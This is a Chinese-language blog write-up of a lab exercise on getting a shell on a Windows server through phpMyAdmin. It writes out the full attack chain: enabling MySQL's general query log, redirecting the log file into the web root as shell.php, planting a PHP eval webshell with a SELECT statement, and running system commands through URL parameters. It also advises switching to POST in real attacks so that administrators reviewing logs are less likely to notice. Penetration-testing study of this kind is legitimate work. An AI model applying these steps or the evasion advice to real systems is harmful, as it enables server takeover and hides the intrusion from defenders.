从phpmyadmin到GetShell


前言:

对于某些网站存在 SQL 注入漏洞,跑下来了账号密码,但是遍历目录一直没有找到后台的情况下,我们可以通过 phpmyadmin 作为切入口进行 GetShell

一、环境

靶机:Windows,IP:192.168.217.130
软件:phpStudy
密码:假设你已获得数据库 phpmyadmin 的登录账号密码
(在 Linux 环境下由于权限问题无法 GetShell)

二、复现过程

1.访问目标站点,使用 nmap 扫描发现开放 3306 端口,并且根据返回结果,说明使用的是 MySQL

nmap 192.168.217.130

扫描结果如下:
img

2.登录 phpmyadmin
简介:
general log 指的是日志保存状态,一共有两个值(ON/OFF)ON代表开启 OFF代表关闭。
general log file 指的是日志的保存路径。
检测 MySQL 全局变量 general_log 和 general_log_file

SHOW VARIABLES LIKE 'general%';

可以看到默认情况下 general_log 选项是关闭的,也就是未开启日志,C:/phpStudy/PHPTutorial/MySQL/data/WIN-T45JHF.log 也就是我们常说的日志文件,其作用也就是记录 MySQL 执行的每一条 SQL 语句,专业的运维人员一般情况下是会开启这个选项并且定期检查执行的 SQL 语句的。
img

我们要做的就是讲日志开启,并且修改日志文件保存位置为 WWW 目录下,将其日志文件内写入一句话木马,这样就可以拿到 Shell 了。

开启日志:
set global general_log = 'ON';
修改日志文件位置:
set global general_log_file = 'C:/phpStudy/PHPTutorial/WWW/shell.php';

这里需要注意的是我已经把日志文件名改为了 shell.php (没有 shell.php 文件会自动创建的),还有需要注意的是日志文件路径的反斜杠问题。如果对命令记不住不熟悉的小伙伴们也可以在 phpmyadmin 界面的变量中找到并修改,如下图:

img

3.写入一句话木马
现在已经开启完毕了,我们执行的每一条 SQL 语句都会被记录在 shell.php 文件中,那么此时我们就可以写入一句话木马了。执行 SQL 语句:

SELECT "<?php @eval($_GET['cmd']);?>";

然后访问 http://192.168.217.130/shell.php?cmd=phpinfo();

img

是可以发现已经显示了 phpinfo 页面,说明我们的小马已经成功写入了。可以用蚁剑或者菜刀进行连接拿 Shell 了。或者直接在浏览器执行 system 命令,比如:

http://192.168.217.130/shell.php?cmd=system('ipconfig');
http://192.168.217.130/shell.php?cmd=system('whoami');
http://192.168.217.130/shell.php?cmd=system('calc.exe');

等等诸如此类的,建议是在实战过程中使用 POST 类型的一句话木马,在靶场打靶中使用 GET 类型一句话木马。第一是存在长度限制:特定的浏览器及服务器会对通过 get 方法提交的字符串有一定的限制。第二是当网站管理员查 log 的时候,会看到明文的 get 请求参数,容易被发现,相比之下, post 请求敏感内容不容易被发现。所以最好把 get 方法换成 post 方法。

三、总结

其实简单来说就是通过开启 SQL 查询日志,然后修改日志文件路径到我们可控的 Web 目录下,让后执行 SQL 语句,写入一句话木马即可。

参考链接:

Ms08067安全实验室 微信公众号:phpmyadmin getshell到提权
phpmyadmin getshell姿势:https://xz.aliyun.com/t/3283
一句话木马分析:http://blog.leanote.com/post/snowming/2e1ab18dfa80


文章作者: Writeup
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Writeup !
 上一篇
ECShop <= 2.x/3.6.x/3.0.x 版本远程代码执行高危漏洞利用 ECShop <= 2.x/3.6.x/3.0.x 版本远程代码执行高危漏洞利用
一、简介这一篇文章接下来我会分为两个部分来写,因为 ECShop 其实两个比较大的远程代码执行是有两个不同版本先后爆出来的,首先被爆出来的是:ECShop <= 2.7.x 全系列版本远程代码执行高危漏洞,然后紧接着 ECShop 官
2020-10-11
下一篇 
如何强制刷新并同步Github上jsDelivr CDN的缓存 如何强制刷新并同步Github上jsDelivr CDN的缓存
前言有时候我们会需要用到 Github 仓库来存放一些类似于 css、js等静态文件,而这些静态文件通过 jdDelivr CDN 在我国境内使用有非常好的加速缓存效果,所以会经常使用到他们。jdDelivr 在使用时建议以版本号来进行调用
2020-10-10
  目录